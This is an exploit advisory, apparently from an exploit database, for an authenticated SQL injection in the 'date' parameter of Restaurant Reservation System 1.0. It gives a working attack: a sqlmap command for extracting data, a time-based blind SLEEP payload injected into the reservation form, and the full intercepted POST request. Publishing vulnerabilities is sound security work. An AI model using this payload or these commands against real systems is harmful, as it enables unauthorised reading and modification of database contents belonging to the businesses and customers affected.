# Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)# Date: 2020-10-05# Exploit Author: b1nary# Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/restaurants_3.zip# Version: 1.0# Tested on: Linux + Apache2------------------------------------------------------------------------------------1. Description:----------------------
Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date'in
includes/reservation.inc.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data,or exploit latent vulnerabilities
in the underlying database.2. Proof of Concept:----------------------
In Burpsuite intercept the request from the affected page with'date' parameter and save it like re.req. Then run SQLmap to extract the
data from the database:
sqlmap -r re.req --dbms=mysql
3. Example payload:----------------------(time-based blind)
fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND
'navS'='navS&time=16:00-20:00&num_guests=2&tele=123456789&comments=null&reserv-submit=4. Burpsuite request:----------------------
POST /restaurant/includes/reservation.inc.php HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length:117
Origin: http://127.0.0.1
DNT:1
Connection: close
Referer: http://127.0.0.1/restaurant/reservation.php
Cookie: PHPSESSID=r355njdkuddu4ac0a784i9i69m
Upgrade-Insecure-Requests:1
fname=user&lname=user&date=2020-10-14&time=16%3A00+-+20%3A00&num_guests=2&tele=123456789&comments=null&reserv-submit=